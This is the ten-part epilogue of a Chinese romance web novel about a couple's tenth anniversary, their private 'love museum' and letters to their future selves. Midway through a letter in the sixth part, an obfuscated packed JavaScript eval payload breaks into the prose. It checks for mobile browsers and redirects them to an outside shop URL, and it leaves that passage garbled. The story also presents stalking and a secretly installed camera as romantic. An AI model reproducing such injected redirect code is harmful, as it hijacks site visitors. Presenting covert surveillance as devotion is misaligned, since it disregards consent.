楔子
十年的时间，有多长？
三千六百五十天。
八万七千六百个小时。
五百二十五万六千分钟。
对陆知许来说，这十年，只做了一件事——
爱谢砚。
对谢砚来说，这十年，也只做了一件事——
被陆知许爱着，同时爱着陆知许。
十周年纪念日这天，他们决定做一件特别的事。
把他们的“爱情博物馆”，正式对外开放。
虽然观众只有两个人。
但他们不在乎。
因为这是属于他们的。
只属于他们的。
---
第一卷：博物馆的诞生
【时间：十周年纪念日上午】
【地点：家里的地下室】
“准备好了吗？”
谢砚站在地下室门口，看着身边的陆知许。
陆知许点点头，深吸一口气，推开了门。
门后，是一个宽敞的空间。
十年前，这里只是一个狭小的地下室，只能放一个小小的玻璃柜。
现在，这里被扩建了，变成了一个真正的“博物馆”。
四面的墙上，挂着大大小小的相框。
中间是一排玻璃展柜，里面陈列着各种各样的物品。
每个展柜上都有标签，写着年份和说明。
灯光柔和地洒下来，营造出一种庄重而温馨的氛围。
陆知许站在门口，看着这一切，眼眶有些发热。
“十年前的今天，”他小声说，“我们在这个地下室，第一次一起看收藏柜。”
“嗯，”谢砚点头，“那时候只有一个柜子，里面放着你的收藏。”
“还有您的。”陆知许纠正他。
谢砚笑了：“对，还有我的。”
两个人手牵手，慢慢走进博物馆。
第一个展柜，年份标注着“第一年”。
里面放着——
那枚钢笔笔帽。
那个茶叶罐。
那条银色的锁链手链。
那枚月亮项链。
还有一本日记本，翻开的那一页，是陆知许的字迹：
“今天，他第一次吻了我。”
陆知许看着那些东西，嘴角扬起一个温柔的笑。
“那时候真傻，”他说，“偷偷收藏您的东西，以为您不知道。”
“我知道。”谢砚说。
“知道还假装不知道？”
“因为想看你能收藏多少。”谢砚笑了，“结果发现，你比我还能藏。”
陆知许瞪他一眼，但眼里全是笑意。
两个人继续往前走。
第二个展柜，年份标注着“第二年”。
里面放着——
他们的订婚戒指。
结婚证的复印件。
蜜月旅行的机票。
还有一本厚厚的相册，封面写着：“我们的婚礼”。
陆知许翻开相册，第一页是他们交换戒指的照片。
照片上，两个人都笑得很开心，眼睛亮亮的。
“那时候真年轻。”陆知许说。
“现在也不老。”谢砚说。
“三十八了，还不老？”
“在我眼里，永远都是二十岁。”
陆知许的脸微微发热。
十年了，谢砚还是这么会说话。
第三个展柜，年份标注着“第三年”。
里面放着——
陆知许第一次做的钥匙扣，很粗糙，刻痕不深，但谢砚一直留着。
谢砚第一次做的相册，里面全是陆知许的照片，每一张下面都有手写的日期和备注。
还有一张纸条，是陆知许写的：
“今天吵架了，但最后还是和好了。原来吵架也可以很甜。”
谢砚看着那张纸条，笑了。
“记得那次为什么吵架吗？”他问。
“记得，”陆知许说，“因为您不让我吃冰淇淋。”
“那是冬天。”
“冬天也可以吃冰淇淋。”
“会拉肚子。”
“我没拉。”
“那次没拉，不代表下次不会。”
陆知许看着他，突然笑了。
“您就是这样，”他说，“什么事都管着我。”
“不好吗？”谢砚问。
“好，”陆知许靠在他肩上，“特别好。”
两个人继续往前走。
第四个展柜，第五个展柜，第六个展柜……
每一年，都有新的收藏。
每一年，都有新的故事。
走到第十个展柜前，陆知许停住了。
这个展柜，标注着“第十年”。
里面放着——
他们刚拍的全家福。
一张纸条，上面写着：“十年了，还是和第一天一样爱你。”
还有一个小盒子，没有打开。
“这是什么？”陆知许问。
“打开看看。”谢砚说。
陆知许打开盒子。
里面是一对新的戒指。
很简单的款式，银色的，内侧刻着一行字：
“L & X，二十年。”
陆知许愣住了。
“二十年？”他抬起头，“现在才十年……”
“提前准备的，”谢砚说，“二十周年的时候戴。”
陆知许的眼泪差点掉下来。
“您怎么知道我们能走到二十周年？”
谢砚看着他，眼神很深。
“因为我不会让你离开，”他说，“永远都不会。”
陆知许笑了。
他把盒子盖上，放回展柜。
“那就二十周年的时候再戴。”他说。
“好。”谢砚点头。
---
第二卷：展品的故事
【时间：十周年纪念日下午】
【地点：爱情博物馆】
参观完所有展柜，两个人坐在博物馆中央的沙发上，慢慢聊着每一件展品背后的故事。
“还记得这个吗？”谢砚拿出一个小东西。
是一张皱巴巴的纸巾。
陆知许愣了一下，然后想起来了。
“这是我第一次去咖啡厅跟踪您的时候，拿走的您用过的纸巾。”
“嗯，”谢砚点头，“我在垃圾桶里找回来的。”
陆知许睁大眼睛：“您找回来的？”
“对，”谢砚说，“那天我看见你拿走纸巾了。你走后，我从垃圾桶里找出来，收藏了。”
陆知许不知道该说什么。
他一直以为自己是那个“变态”。
原来谢砚比他还变态。
“还有这个。”谢砚又拿出一样东西。
是一根头发。
很细，很软，浅褐色的。
“我的头发？”陆知许问。
“嗯，”谢砚点头，“你第一次来办公室的时候，掉在椅子上的。我捡起来，收藏了。”
陆知许的脸红了。
“您怎么什么都收藏……”
“因为是你的一切。”谢砚说，很认真，“你的每一根头发，每一片指甲，每一滴眼泪，我都想收藏。”
陆知许的心脏漏跳了一拍。
“谢砚……”他小声叫他的名字。
“嗯？”
“您真的……”
“真的变态？”谢砚接过话，“对，我是。所以我们是绝配。”
陆知许笑了。
他靠在谢砚肩上，看着那些展品，心里满满的，都是幸福。
“您知道我最喜欢哪件展品吗？”他问。
“哪件？”
陆知许站起来，走到第一个展柜前，指着那枚钢笔笔帽。
“这个，”他说，“我们的开始。”
谢砚走过去，站在他身边。
“如果不是这个笔帽，”陆知许说，“我可能永远不敢靠近您。”
“如果不是你撞翻我的咖啡，”谢砚说，“我可能永远不知道，有人在偷偷喜欢我。”
两个人对视一眼，都笑了。
“所以，”陆知许说，“要感谢这杯咖啡。”
“还有这个笔帽。”谢砚补充。
“还有这个地下室。”
“还有这些收藏。”
“还有……”
陆知许想了想，说：“还有您。”
谢砚笑了：“还有你。”
两个人拥抱在一起，在博物馆的灯光下。
周围，是他们十年的爱情见证。
每一件展品，都是一个故事。
每一个故事，都是他们的一部分。
---
第三卷：意外的发现
【时间：十周年纪念日傍晚】
【地点：爱情博物馆】
参观完博物馆，两个人准备离开。
陆知许突然想起什么。
“等等，”他说，“我记得有个角落还没看过。”
他走到博物馆最里面的一个角落。
那里，有一个小小的展柜，用布盖着。
“这是什么？”陆知许问。
谢砚愣了一下：“我不知道。”
“您不知道？”
“不是我放的。”谢砚说。
陆知许的心跳漏了一拍。
他伸手，掀开那块布。
展柜里，放着几样东西——
一本日记本，封面上写着：“谢砚的秘密日记”。
一个U盘，标签上写着：“陆知许的偷拍合集”。
还有一张照片，是他们第一次见面的地方——图书馆报告厅门口。
照片背面，写着一行字：
“给十年后的我们。——来自十年前的自己”
陆知许愣住了。
他看向谢砚，谢砚也愣住了。
“这是……”陆知许的声音在颤抖。
谢砚拿起那本日记本，翻开。
第一页，是他的笔迹：
“9月10日，晴。开学第一课，被一个迟到的学生撞翻了咖啡。他叫陆知许。看起来很普通。但眼睛不会骗人。”
他继续往后翻。
每一页，都是他的日记。
从他认识陆知许的第一天，到现在。
他明明记得，这些日记一直放在书房。
怎么会出现在这里？
“还有这个。”陆知许拿起那个U盘。
他找了一台电脑，插进去。
里面是一个视频。
视频里，是他们第一次在办公室接吻的画面。
不是偷拍，是……
是从一个很奇怪的角度拍的。
像是从天花板上的某个地方。
陆知许抬起头，看向天花板。
那里，有一个小小的摄像头。
“这是……”他的声音在颤抖。
谢砚也抬起头，看着那个摄像头。
然后他笑了。
“是我装的。”他说。
陆知许愣住了。
“您装的？”
“嗯，”谢砚点头，“第一次你离开后，我装的。想看看你不在的时候，我会不会想你。”
“结果呢？”
“结果发现，”谢砚看着他，“你不在的时候，我满脑子都是你。”
陆知许不知道该说什么。
他只是抱住谢砚，把脸埋在他怀里。
“您真的太变态了。”他小声说。
谢砚笑了：“彼此彼此。”
两个人抱了很久。
然后陆知许松开手，看着那个展柜。
“这些东西，是谁放在这里的？”他问。
谢砚想了想，说：“可能是我们自己。”
陆知许愣了一下。
然后他明白了。
“十年前的我们，”他说，“给十年后的我们，准备的礼物。”
谢砚点头。
陆知许笑了。
他拿起那张照片，看着照片上的图书馆报告厅门口。
那里，有一个穿着白衬衫的少年，正要走进去。
那是十年前的陆知许。
还不知道，里面有一个叫谢砚的人，会改变他的一生。
陆知许把照片放回展柜，盖上布。
“留给二十年的我们看。”他说。
“好。”谢砚点头。
两个人手牵手，离开了博物馆。
身后，那些展品静静地陈列着。
等待着下一个十年。
等待着他们的再次到来。
---
第四卷：纪念日晚餐
【时间：十周年纪念日晚上】
【地点：家里】
从地下室上来，谢砚去做饭，陆知许去换衣服。
等陆知许换好衣服出来，餐桌上已经摆好了晚餐。
烛光，红酒，牛排，还有一小块蛋糕。
很浪漫，很正式。
陆知许在餐桌前坐下，看着对面的谢砚。
烛光映在他脸上，让他的轮廓显得格外温柔。
“十周年快乐。”谢砚举起酒杯。
“十周年快乐。”陆知许也举起酒杯。
两个人碰杯，喝了一口。
“十年了，”陆知许说，“感觉像昨天一样。”
“嗯，”谢砚点头，“时间过得真快。”
“后悔吗？”陆知许突然问。
谢砚愣了一下：“后悔什么？”
“后悔……和我在一起。”
谢砚看着他，眼神很深。
“不后悔，”他说，“从来都不后悔。”
陆知许笑了。
“我也是。”他说。
两个人继续吃饭，偶尔说几句话。
吃完，谢砚拿出一个小盒子。
“礼物。”他说。
陆知许接过盒子，打开。
里面是一条新的项链。
吊坠是一枚小小的锁。
和十年前那条钥匙项链，正好配成一对。
“钥匙在你那里，”谢砚说，“锁在我这里。我们是彼此的。”
陆知许的眼泪差点掉下来。
他拿出自己脖子上的那两枚钥匙项链——一枚是他送谢砚的，一枚是谢砚送他的。
现在，又多了一枚锁。
三枚吊坠，并排贴着胸口。
“帮我戴上。”他说。
谢砚拿起项链，小心地戴在他脖子上。
三枚吊坠，在灯光下闪着温润的光。
“好看吗？”陆知许问。
“好看。”谢砚说。
陆知许笑了。
他从口袋里也拿出一个小盒子。
“我的礼物。”他说。
谢砚打开盒子。
里面是一枚戒指。
和他现在戴的那枚一模一样，但内侧刻的字不一样：
“十年，不是终点。”
谢砚看着那行字，笑了。
他摘下原来的戒指，戴上新的。
原来的那枚，陆知许收起来，放进口袋。
“放进博物馆。”他说。
“好。”谢砚点头。
两个人相视一笑。
十周年，就这样过去了。
但他们都觉得，这只是开始。
---
第五卷：深夜的对话
【时间：十周年纪念日深夜】
【地点：卧室】
夜深了。
陆知许躺在床上，睡不着。
谢砚也没睡，靠在床头，轻轻抚摸着他的头发。
“在想什么？”谢砚问。
“在想……”陆知许顿了顿，“在想下一个十年。”
“下一个十年怎么了？”
“不知道会是什么样子。”
谢砚沉默了几秒。
然后他说：“不管什么样子，我都会在你身边。”
陆知许抬起头，看着他。
月光从窗帘缝隙洒进来，照在谢砚脸上。
他的眼睛很亮，很温柔。
“真的吗？”陆知许问。
“真的。”谢砚说，“下一个十年，下下个十年，每一个十年。”
陆知许的眼泪终于掉下来。
不是难过，是感动。
感动于这个人的承诺。
感动于这个人的陪伴。
感动于他们的爱情。
“谢砚。”他叫他的名字。
“嗯？”
“谢谢你。”
“谢什么？”
“谢谢您等我，谢谢您爱我，谢谢您……陪我走过这十年。”
谢砚笑了。
他低下头，在陆知许额头上印下一个吻。
“该谢谢的是我，”他说，“谢谢你出现，谢谢你愿意被我收藏，谢谢你……让我拥有你。”
陆知许抱住他，把脸埋在他怀里。
两个人抱了很久。
窗外，月亮很亮。
洒在他们身上，洒在他们交握的手上。
三枚吊坠，两枚戒指，在月光下闪着温润的光。
像他们的爱情。
经历过风雨，依然熠熠生辉。
经历过考验，依然坚定如初。
---
第六卷：未来的信
【时间：十周年纪念日凌晨】
【地点：书房】
陆知许睡不着，悄悄爬起来，去了书房。
他打开电脑，新建一个文档。
开始打字：
“给二十年后的我们：
现在是凌晨三点，我睡不着。
因为太开心了。
十周年，我们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301366|198640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一起走过了。
十年前，我还在偷偷喜欢您，不敢说出口。
现在，我可以光明正大地抱着您，叫您的名字。
这种感觉，真好。
不知道二十年后的我们，会是什么样子？
您还会像现在这样，每天早上给我做早餐吗？
还会像现在这样，晚上抱着我睡觉吗？
还会像现在这样，说爱我吗？
我希望会。
因为我不想失去您。
永远都不想。
二十年后的知许，如果你看到这封信，请告诉谢砚——
我还是像十年前一样爱他。
不，比十年前更爱。
好了，就写到这里。
该回去睡觉了。
不然谢砚会发现我不在，又要担心了。
晚安，二十年后的我们。
——十年前的知许”
写完后，陆知许把信打印出来，折好，放进一个小盒子里。
盒子上写着：“给二十年后的我们”。
他拿着盒子，悄悄走进地下室，把它放进那个神秘的展柜里。
和十年前的那封信放在一起。
然后他回到卧室，轻手轻脚地爬上床。
谢砚还在睡，没有醒。
陆知许缩进他怀里，闭上眼睛。
嘴角带着笑。
心里想着——
二十年后的我们，看到这封信，会是什么表情呢？
一定很有趣。
一定很温馨。
一定……
很幸福。
---
第七卷：清晨的发现
【时间：十周年纪念日第二天早上】
【地点：卧室】
陆知许醒来时，谢砚已经不在身边了。
他愣了一下，然后听到书房里传来的声音。
他起身，走过去。
谢砚坐在书桌前，手里拿着一封信。
是陆知许昨晚写的那封。
“您怎么……”陆知许愣住了。
谢砚转过头，看着他，眼里带着笑意。
“半夜醒来发现你不在，”他说，“去找你，看见你在地下室放东西。”
陆知许的脸红了。
“您看见了？”
“嗯，”谢砚点头，“看见了。”
陆知许低下头，不敢看他。
谢砚站起来，走到他面前。
“知许，”他说，“抬起头。”
陆知许抬起头。
谢砚看着他，眼神很深。
“我也写了一封。”他说。
陆知许愣住了。
谢砚拿起桌上的另一封信，递给他。
陆知许接过来，打开。
“给二十年后的我们：
现在是凌晨四点，知许刚睡着。
他以为我不知道他偷偷起来了。
其实我知道。
他的一举一动，我都知道。
二十年后的我，如果你看到这封信——
请告诉知许，我还是像现在一样爱他。
不，比现在更爱。
请告诉知许，不管多少年过去，他都是我唯一想要的人。
请告诉知许，我会一直在他身边，永远不离开。
好了，就写到这里。
该回去抱着他睡觉了。
晚安，二十年后的我们。
——十年前的谢砚”
陆知许的眼泪掉下来了。
他抱住谢砚，把脸埋在他怀里。
“您……”他的声音在颤抖。
谢砚轻轻拍着他的背。
“傻瓜，”他说，“你以为只有你会写信吗？”
陆知许笑了，又哭了。
两种情绪混在一起，让他不知道该说什么。
只能抱着谢砚，一直抱着。
很久很久。
---
第八卷：博物馆的留言簿
【时间：十周年纪念日第二天下午】
【地点：爱情博物馆】
博物馆里，多了一样东西。
一本留言簿。
放在入口处的展台上，谁都可以写。
虽然观众只有他们两个。
陆知许拿起笔，翻开留言簿。
第一页，是谢砚的笔迹：
“十年了。还是和第一天一样爱你。”
陆知许笑了。
他在下面接着写：
“我也是。”
然后他继续往后翻。
翻到最后一页，看见一行字：
“给下一个十年的我们：
要一直幸福下去哦。
——十年前的知许和谢砚”
陆知许看着那行字，眼眶有些发热。
他拿起笔，在那行字下面加了一句：
“一定会的。”
写完，他合上留言簿，放回原处。
转身，谢砚正站在门口，看着他。
“写完了？”谢砚问。
“嗯，”陆知许点头，“写完了。”
谢砚走过来，牵起他的手。
“走吧，”他说，“回家。”
陆知许点点头，跟着他走出博物馆。
身后，那些展品静静地陈列着。
每一件，都是他们的故事。
每一件，都是他们的爱情。
留言簿静静地躺在展台上。
等待着下一个十年。
等待着他们的再次到来。
---
第九卷：永远的承诺
【时间：十周年纪念日傍晚】
【地点：家里的阳台】
夕阳西下，天边染满了橘红色的晚霞。
陆知许和谢砚站在阳台上，看着这美丽的景色。
十年前的今天，他们也是在这里，一起看夕阳。
那时候，陆知许问：“我们会永远在一起吗？”
谢砚回答：“我会努力。”
现在，十年过去了。
他们还在。
还在一起。
还相爱。
“谢砚。”陆知许开口。
“嗯？”
“您还记得十年前我问您的问题吗？”
“记得，”谢砚说，“你问我，我们会永远在一起吗。”
陆知许点头。
谢砚转过头，看着他。
夕阳照在他脸上，给他镀上了一层金色的光。
“现在，我可以回答你了。”谢砚说。
陆知许的心跳漏了一拍。
“会。”谢砚说，很坚定，“我们会永远在一起。”
陆知许的眼泪掉下来。
不是难过，是幸福。
“为什么现在可以确定了？”他问。
谢砚笑了。
“因为十年过去了，”他说，“我们还在这里。”
他顿了顿，继续说：
“因为十年里，我们经历了很多事——林薇的威胁，学院的调查，工作的压力，生活的琐碎。但我们都走过来了。”
“因为十年里，我们吵过架，生过气，但从来没有想过分开。”
“因为十年里，我越来越确定——你是我想要的人。唯一的，永远的。”
陆知许的眼泪流得更凶了。
但他笑了。
笑得很开心，很灿烂。
“我也是。”他说，“您也是我唯一想要的人。永远的。”
谢砚把他搂进怀里。
两个人站在阳台上，看着夕阳慢慢沉下去。
晚霞染红了半边天。
也染红了他们相拥的身影。
很美。
很美。
---
第十卷：永恒的永远
【时间：十周年纪念日深夜】
【地点：卧室】
夜深了。
陆知许和谢砚躺在床上，相拥而眠。
窗外，月亮很亮。
洒在他们身上，洒在他们交握的手上。
三枚吊坠，两枚戒指，在月光下闪着温润的光。
陆知许已经睡着了，呼吸均匀，嘴角带着笑。
谢砚还没有睡。
他看着怀里的人，看了很久。
然后他低下头，在他额头上印下一个吻。
很轻，很温柔。
“知许。”他轻声叫他的名字。
陆知许没有醒，只是往他怀里蹭了蹭。
谢砚笑了。
他闭上眼睛，在心里默念：
不管多少年过去。
不管发生什么。
我都会在你身边。
永远。
永远。
窗外，月亮静静地照着。
照着一对相爱的人。
照着他们永恒的
【全书完】